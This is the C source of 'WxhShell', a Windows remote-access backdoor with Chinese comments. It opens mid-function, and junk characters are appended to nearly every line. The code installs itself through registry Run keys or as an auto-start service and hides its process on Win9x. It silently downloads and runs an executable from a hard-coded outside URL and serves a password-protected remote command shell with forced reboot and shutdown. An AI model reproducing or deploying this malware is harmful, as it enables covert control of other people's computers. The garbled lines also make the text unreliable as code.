ULONG UniqueProcessId; `vZX"+BAh
ULONG InheritedFromUniqueProcessId; Y'C1L4d
} PROCESS_BASIC_INFORMATION; =M=v;
,I-
8W Etm}
PROCNTQSIP NtQueryInformationProcess; PdtL
Cgd
1xI
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YS:p(jtd
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =;Dj[<mJ45
ly:2XvV3~
HANDLE hProcess; Wh)!Ha}
PROCESS_BASIC_INFORMATION pbi; f@[qS7ok
R$X~d8o>%
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %Ai' 6
if(NULL == hInst ) return 0; _&%FGcAS
T@A Qe[U'v
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F?^L^N^
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :gO5#HIm
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); />6ECT
&~=r .T
if (!NtQueryInformationProcess) return 0; Zm0' p!
5] LfJh+"n
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,Qs%bq{t
if(!hProcess) return 0; LcZ|A;it
"T9UedZ
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !2h ZtX
6?'7`p
CloseHandle(hProcess); t{s*,X\b
k!Q{u2
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eR0$CTSw
if(hProcess==NULL) return 0; flT6y-d
XO+rg&Pu
HMODULE hMod; 6$[7hlE
char procName[255]; `Qjs{H
unsigned long cbNeeded; rr,w/[
\<ysJgqUG
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^e=G} N^
gB~^dv {
CloseHandle(hProcess); ?~b(iZ
cPv(VjS1;
if(strstr(procName,"services")) return 1; // 以服务启动 .G#li(NWH
hD=.rDvO
return 0; // 注册表启动 |c^ ?tR<
} <v'&Pk<
)U=]HpuzI
// 主模块 sM+~x<}0
int StartWxhshell(LPSTR lpCmdLine) Ek1c >s,t
{ AgZ?Ry
SOCKET wsl; ^GyZycch
BOOL val=TRUE; }Ba_epM
int port=0; em'ADRxG+
struct sockaddr_in door; -]+pwZ4g
\5 rJ
if(wscfg.ws_autoins) Install(); M~N/er
SnR2o3r-Of
port=atoi(lpCmdLine); U(#JC(E-#
G bclR:G
if(port<=0) port=wscfg.ws_port; S'5Zy}
+x
%IZd-N7i^
WSADATA data; uKXNzz
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8xg^="OJ
1)MDnODJ
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; &a;?o~%*]i
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /-,\$@J5)
door.sin_family = AF_INET; M(zZ8#
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z`u$#<ukX
door.sin_port = htons(port); xP!QV~$>
r*]pL<
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eIfQ
TV
closesocket(wsl); U8AH,?]#
return 1; QeG9CS)E}j
} vaGF(hfTA
N@L{9ak1
if(listen(wsl,2) == INVALID_SOCKET) { e"52'zAV-
closesocket(wsl); ~7 U~
return 1; w7o`BR
} naW!b&:
Wxhshell(wsl); r34MDUZdI
WSACleanup(); Id##367R
P/dnH
return 0; "X8jpg
c~?Zmdn:
} r`.N?
o$buoGSPc
// 以NT服务方式启动 q+y\pdhdO
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &'x~<rx
{ Rh?bBAn8
DWORD status = 0; mr^3Y8$s
DWORD specificError = 0xfffffff; 2Jio_Hk
]Ob|!L(
serviceStatus.dwServiceType = SERVICE_WIN32; s0^(yEcq
serviceStatus.dwCurrentState = SERVICE_START_PENDING; i*Ldec^
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k%sH0 9
serviceStatus.dwWin32ExitCode = 0; 2h'Wu
qO
serviceStatus.dwServiceSpecificExitCode = 0; Vh;zV Y
serviceStatus.dwCheckPoint = 0; /rnI"ze`
serviceStatus.dwWaitHint = 0; qfyZda0d
|7tD&9<
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =I'3C']Z W
if (hServiceStatusHandle==0) return; #F.jf2h@
;,C]WZ.w
status = GetLastError(); R2gV(L(!!
if (status!=NO_ERROR) PmRvjSIG
{ J+J,W5t^
serviceStatus.dwCurrentState = SERVICE_STOPPED; yGf7k>K'
serviceStatus.dwCheckPoint = 0; ]mb8R:a1
serviceStatus.dwWaitHint = 0; U8w_C\Q
serviceStatus.dwWin32ExitCode = status; E5d$n*A
serviceStatus.dwServiceSpecificExitCode = specificError; Z0jgUq`r
SetServiceStatus(hServiceStatusHandle, &serviceStatus); /}(d'@8p
return; :Ko6.|
} :q]9F4im
^k;]"NR
serviceStatus.dwCurrentState = SERVICE_RUNNING; LmePJ
serviceStatus.dwCheckPoint = 0; AO$AT_s
serviceStatus.dwWaitHint = 0; g4$(%]
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n%s%i-[5B
} hlaN'j
<C
/.Ak'Vmi
// 处理NT服务事件,比如:启动、停止 %, kP_[!>Q
VOID WINAPI NTServiceHandler(DWORD fdwControl) :^.wjUI
{ }OL"38P
switch(fdwControl) S3E,0%yo+)
{ yZ|"qP1
case SERVICE_CONTROL_STOP: ~,b^f{7`!
serviceStatus.dwWin32ExitCode = 0; s|]g@czan
serviceStatus.dwCurrentState = SERVICE_STOPPED; X#lNS+&='
serviceStatus.dwCheckPoint = 0; /|1p7{km
serviceStatus.dwWaitHint = 0; ,vJt!}}
{ Nr4:Gih
SetServiceStatus(hServiceStatusHandle, &serviceStatus); " B#|C'
} h'):/}JPl
return; GQqGrUQ*}
case SERVICE_CONTROL_PAUSE: d,V#5l-6
serviceStatus.dwCurrentState = SERVICE_PAUSED; D(#f`Fj;
break; G@[8P?M=Z
case SERVICE_CONTROL_CONTINUE: mll:rWC)
serviceStatus.dwCurrentState = SERVICE_RUNNING; _h~ksNm5u
break; 0=j }`
case SERVICE_CONTROL_INTERROGATE: lW&(dn)}
break; ~#A}=,4>
}; +jGHR&A t
SetServiceStatus(hServiceStatusHandle, &serviceStatus); /SD}`GxH
} cqS :Zq
{ALEK
// 标准应用程序主函数 nqcq3o*B
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W)In.?>]W
{ Ke\\B o,
AK2Gm-hHK
// 获取操作系统版本 6pt_cpbR
OsIsNt=GetOsVer(); L*(9Hti
GetModuleFileName(NULL,ExeFile,MAX_PATH); p,Ff,FfH
_M&TT]a
// 从命令行安装 =
xO03|T;6
if(strpbrk(lpCmdLine,"iI")) Install(); C82_)@96
`@~e<s`j
// 下载执行文件 Y'iX
if(wscfg.ws_downexe) { ~t`^|cr|
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H}^ '
WinExec(wscfg.ws_filenam,SW_HIDE); <v_=k],W
} UN]gn>~j
K,E/.Qe\C
if(!OsIsNt) { >cu%C s=m
// 如果时win9x,隐藏进程并且设置为注册表启动 KP&+fDa
HideProc(); { mi}3/
StartWxhshell(lpCmdLine); SB_Tzp
} ]pax,|+$C
else ef5)z}B
if(StartFromService()) y_Y(Xx3
// 以服务方式启动 ?"6Zf LRi
StartServiceCtrlDispatcher(DispatchTable); &L;ocd$
else BUO5g8m{
// 普通方式启动 2ym(fk.6{
StartWxhshell(lpCmdLine); )
7/Cg
^SdF\uk{?6
return 0; T*z]<0E]
} nw+~:c
)`\hK
7L{1S
v
oL<#9)+2*
=========================================== )ZG;.j
AM}R#86
4xy\
rf.pT+g.P
u6qK4*eAD
]?eZDf~
" q2qi~}l
6j<9Y
#include <stdio.h> YG "Ta|@5
#include <string.h> L:R4&|E/t
#include <windows.h> {f/qI`
#include <winsock2.h> TR"C<&y$j
#include <winsvc.h> 3[YG
BM(
#include <urlmon.h> v, $r.g;
O\5%IfB'"
#pragma comment (lib, "Ws2_32.lib") /k#-OXP~
#pragma comment (lib, "urlmon.lib") g 9_ zkGc7
~wvt:E,fC
#define MAX_USER 100 // 最大客户端连接数 d+9V% T
#define BUF_SOCK 200 // sock buffer ]ss[n.T0*
#define KEY_BUFF 255 // 输入 buffer zA,vp^
CWj_K2=d
#define REBOOT 0 // 重启 D tsZP
(
#define SHUTDOWN 1 // 关机 I= mz^c{
M&Uy42,MR
#define DEF_PORT 5000 // 监听端口 Njq}M/{U
vwCQvt
#define REG_LEN 16 // 注册表键长度 rPV
Q#iB
#define SVC_LEN 80 // NT服务名长度 (I[_}l
615Ya<3f8
// 从dll定义API ,6)N.
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H?$dnwR
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xEb>6+-F@
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #8$?#
dT
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y"Cf84E
@=-(H<0
// wxhshell配置信息 P"YdB|I
struct WSCFG { eV;r /4
int ws_port; // 监听端口 th?+TNb^
char ws_passstr[REG_LEN]; // 口令 {15j'Qwm
int ws_autoins; // 安装标记, 1=yes 0=no !b8V&<
char ws_regname[REG_LEN]; // 注册表键名 F'bwXb**
char ws_svcname[REG_LEN]; // 服务名 }K {1Bm@S
char ws_svcdisp[SVC_LEN]; // 服务显示名 iHa?b2=)
char ws_svcdesc[SVC_LEN]; // 服务描述信息 =u.@W98, K
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E$d#4x
int ws_downexe; // 下载执行标记, 1=yes 0=no 5E!C?dv(z
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &5CRXf
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5ut| eD`3
L*@`i ]jl
}; 3Cf9'C
t^s&1#iC
// default Wxhshell configuration &i#$ia r
struct WSCFG wscfg={DEF_PORT, _y@28t
"xuhuanlingzhe", Y]z
:^D
1, <r%K i`u(p
"Wxhshell", +;N]34>S7
"Wxhshell", Q@D7\<t
"WxhShell Service", ;kFD769DLw
"Wrsky Windows CmdShell Service", ClG%zE&i
"Please Input Your Password: ", 2qMiX|Y
1, wQ_4_W
"http://www.wrsky.com/wxhshell.exe", ~#_~DqbMZ5
"Wxhshell.exe" q+g,?;Yx
}; F%OP,>zl
Y(Q
0m|3P
// 消息定义模块 >O'\
jp}$l
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d&AG~,&d|
char *msg_ws_prompt="\n\r? for help\n\r#>"; Nx}nOm
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *PJH&g#Ge
char *msg_ws_ext="\n\rExit."; x|H`%Z
char *msg_ws_end="\n\rQuit."; bA;OphO(
char *msg_ws_boot="\n\rReboot..."; a:FU- ^B4~
char *msg_ws_poff="\n\rShutdown..."; O-?rFNavxp
char *msg_ws_down="\n\rSave to "; bI):-2&s}
qmS9*me
{
char *msg_ws_err="\n\rErr!"; mF4W4~"
char *msg_ws_ok="\n\rOK!"; 5ggyk0
|v&)O)Jg
char ExeFile[MAX_PATH]; Jo? LPR
\6
int nUser = 0; VB |?S|<
HANDLE handles[MAX_USER]; %hB-$nE
int OsIsNt; l.Q
3efOgP=L
SERVICE_STATUS serviceStatus; ah>c)1DA*H
SERVICE_STATUS_HANDLE hServiceStatusHandle; B#K gU&Loo
-y`Pm8
// 函数声明 ;6tra_
int Install(void); _l
d.Xmvd
int Uninstall(void); ?]Yic]$n
int DownloadFile(char *sURL, SOCKET wsh); ot0teNF
int Boot(int flag); FP@_V-
void HideProc(void); N$fP\h^AR
int GetOsVer(void); 'gwh:
int Wxhshell(SOCKET wsl); T:^.; ZY
void TalkWithClient(void *cs); sh/,"b2!P
int CmdShell(SOCKET sock); |G j.E
int StartFromService(void); _@5Xmr
int StartWxhshell(LPSTR lpCmdLine); _3/u#'m0
L&\W+k
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ym;]3<I?I[
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }$ y.qqG
G[64qhTC
// 数据结构和表定义 ,@*5x'auK
SERVICE_TABLE_ENTRY DispatchTable[] = ]_KWN$pd
{ $LP(\T([
{wscfg.ws_svcname, NTServiceMain}, _i=*0Q
{NULL, NULL} Z{8%Cln
}; RdCGK?s
aDS:82GMQ
// 自我安装 lrrTeE*
int Install(void) p=+Y7NE)
{ 35h|?eN_m!
char svExeFile[MAX_PATH]; mnt&!X4<
HKEY key; 9z,sn#-t
strcpy(svExeFile,ExeFile); O4rjGTRF
&4Z8df!
// 如果是win9x系统,修改注册表设为自启动 >d 5-if
if(!OsIsNt) { Hav &vV
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7qC
/a
c
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;qmnG3;Q
RegCloseKey(key); ;>,B(Xz4i
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qq)5)S
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +17!v_4^
RegCloseKey(key); .Xlo-gHk
return 0; |nMjv]#
} 01(U)F\
} [* xdILj
} 7F`\Gz_2
else { qlhc"}5x }
FPc`J
// 如果是NT以上系统,安装为系统服务 <IrhR,@M,L
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q%CrB>|@
if (schSCManager!=0) }T_"Vg q
{ W ?x~"-*
SC_HANDLE schService = CreateService fh#:j[R4e
( yQJ0",w3o.
schSCManager, T{prCM
wscfg.ws_svcname, |
BaEv\$K
wscfg.ws_svcdisp, yY]x''K
SERVICE_ALL_ACCESS, &dB@n15'A
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \Z.r Pq
SERVICE_AUTO_START, CvIuH=,
SERVICE_ERROR_NORMAL, f]*;O+8$LN
svExeFile, enk`I$Xx
NULL, ch#)XomN
NULL, /qdv zv%T
NULL, FH</[7f;@N
NULL, yLRe'5#m
NULL 0>[]Da}
); T
m"B
if (schService!=0) |AvPg
{ D;sG9Hky
CloseServiceHandle(schService); 0hY3vBQ!
CloseServiceHandle(schSCManager); yp~z-aRa
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~n -N
strcat(svExeFile,wscfg.ws_svcname); gmp@ TY=:L
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @tT`s^e
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ru:"c^W:[
RegCloseKey(key); G[}v?RLI
return 0; mJ%^`mrI
} <*vR_?!
} F`KXG$
CloseServiceHandle(schSCManager); KKwM\
} u?V}pYX
} @@ j\OR
\p:)Cdn
return 1; NG3?OAQTw
} <v1H1'gv
Boj R"
// 自我卸载 &n*ga$Q
int Uninstall(void) SY9 5s
{ E}Cz(5
HKEY key; [kJ;Uxncz~
zE;|MU@|
if(!OsIsNt) { BMq> Cj+
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "yymnIQ3u
RegDeleteValue(key,wscfg.ws_regname); Q 1i5"'][
RegCloseKey(key); ?C CQm
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cO:lpsKYQ
RegDeleteValue(key,wscfg.ws_regname); N_G&nw
RegCloseKey(key); IAA_Ft
return 0; F]RPM(!5O)
} tk0m[HN@eV
} x,: k/]
} Ztk%uc8_lM
else { 23|JgKuA
L1_O!EQ
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,t_&tbf3
if (schSCManager!=0) S))B^).0-
{ Ew4D';&;
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1GA.c:
if (schService!=0) !- [ZQ
{ z<Z0/a2'1
if(DeleteService(schService)!=0) { J"#6m&R_q
CloseServiceHandle(schService); )P?0YC
CloseServiceHandle(schSCManager); rHk(@T.]
return 0; ~LI }
} e!=7VEB
CloseServiceHandle(schService); H-t$A, [
} i`YZ;L L
CloseServiceHandle(schSCManager); e O~p"d-|
} ~M7X]
} EFiVwH
$Ptl&0MN%
return 1; {pQ8/Af!
} /.s
L[X-G
UV|{za$&/
// 从指定url下载文件 5xT, O
int DownloadFile(char *sURL, SOCKET wsh) $[_5:@T%N
{ <IU
HRESULT hr; ,or;8aYc#
char seps[]= "/"; [-`s`g-
char *token; ZYB5s~;eB"
char *file; Gy+c/gK
char myURL[MAX_PATH]; yfwR``F
char myFILE[MAX_PATH]; wo62R&ac
A99;bf}"
strcpy(myURL,sURL); |5(CzXR]
token=strtok(myURL,seps); Lww&[|k.
while(token!=NULL) ,aWI&ve6
{ %-YWn`yEm
file=token; DI/d(oFv`
token=strtok(NULL,seps); J<NpA(@^
} ZT"vVX-)G
o^5UHFxTCB
GetCurrentDirectory(MAX_PATH,myFILE); g[y&GCKY!=
strcat(myFILE, "\\"); lhQMR(w^
strcat(myFILE, file); Nnn~7
send(wsh,myFILE,strlen(myFILE),0); ,nog6\
send(wsh,"...",3,0); 5k=04=Iyh#
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d~.hp
if(hr==S_OK) #_Uo^Mw
return 0; F)=<|,b1
else %X}D(_
return 1; XiV*d06{
J*ofa>
} lX.1B&T9Lr
Tq^B>{S"
// 系统电源模块 (^T}6t3+4
int Boot(int flag) ZCK#=:ln
{ ^-Ks_4
HANDLE hToken; AN,3[Sh
TOKEN_PRIVILEGES tkp; s!W{ru
{y|.y~vW
if(OsIsNt) { f% 8n?f3;u
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Dd
OK&
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &~<i"
W
tkp.PrivilegeCount = 1; +pUYFDwFx
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lib^JJF
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (w_b
if(flag==REBOOT) { mE+=H]`.p
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PMiu "
return 0; ?mi}S${g
} `&)
else { 7lOAu]Zx
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q=<&ew
return 0; u3cg&lEgT
} V1i^#;
} #cikpHLXG
else { "<L9-vb
if(flag==REBOOT) { gjJ:s,Fg
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +pv..\
return 0; i'ZnU55=
} u9 *ic~Nh
else { G=Xas"|
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =%77~q-HL
return 0; eHHU2^I,
} <e|B7<.
} o`~,+6]D
mmC MsBfL
return 1; fX
LsLh+~D
} aTaL|&(
I]#x0 ?D
// win9x进程隐藏模块 IQ JFL
+f
void HideProc(void) GB*^?Ii
{ !bW^G}
<t
W9G jUswv!
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3;//o<
if ( hKernel != NULL ) P=ubCS'
{ *EU1`q*
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `y"a>gHC
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3! KyO)8
FreeLibrary(hKernel); *TL3-S?
} So NgDFD
W
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return; U
d+6=Us{
} h-03]M#8=
![[:Z
// 获取操作系统版本 2 I.Q-'@
int GetOsVer(void) Q9g^'a
{ BgsU:eKe
OSVERSIONINFO winfo; ~:b5UIAk
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uY&t9L8
GetVersionEx(&winfo); 'Urx83
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e9F+R@8
return 1; ypvz&SzIh
else
/p|L.&`U
return 0; Tn'o$J
} 8[)"+IFN
`b)i;m
// 客户端句柄模块 bz\nCfU
int Wxhshell(SOCKET wsl) H9=8nLb.
{ Q-e(>=Gv_
SOCKET wsh; |pT[ZT|}G
struct sockaddr_in client; @ +>>TGC
DWORD myID; nI`9|W
5N#Sic M
while(nUser<MAX_USER) . N5$s2t
{ YQ-V^e6
int nSize=sizeof(client); S2V+%Z
_J
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *Fd(
if(wsh==INVALID_SOCKET) return 1; ZjgfkZAS
r#mH[|@W~
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K
&G
if(handles[nUser]==0) #!jwn^yq
closesocket(wsh); a/~1CrYr
else 2Gc0pBqx
nUser++; RbEtNwG@c
} na|23jz4
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K!tM "`a
)9{!=k
return 0; D'
h%.
} X$<CIZ
/,9n1|FrG
// 关闭 socket AR)A <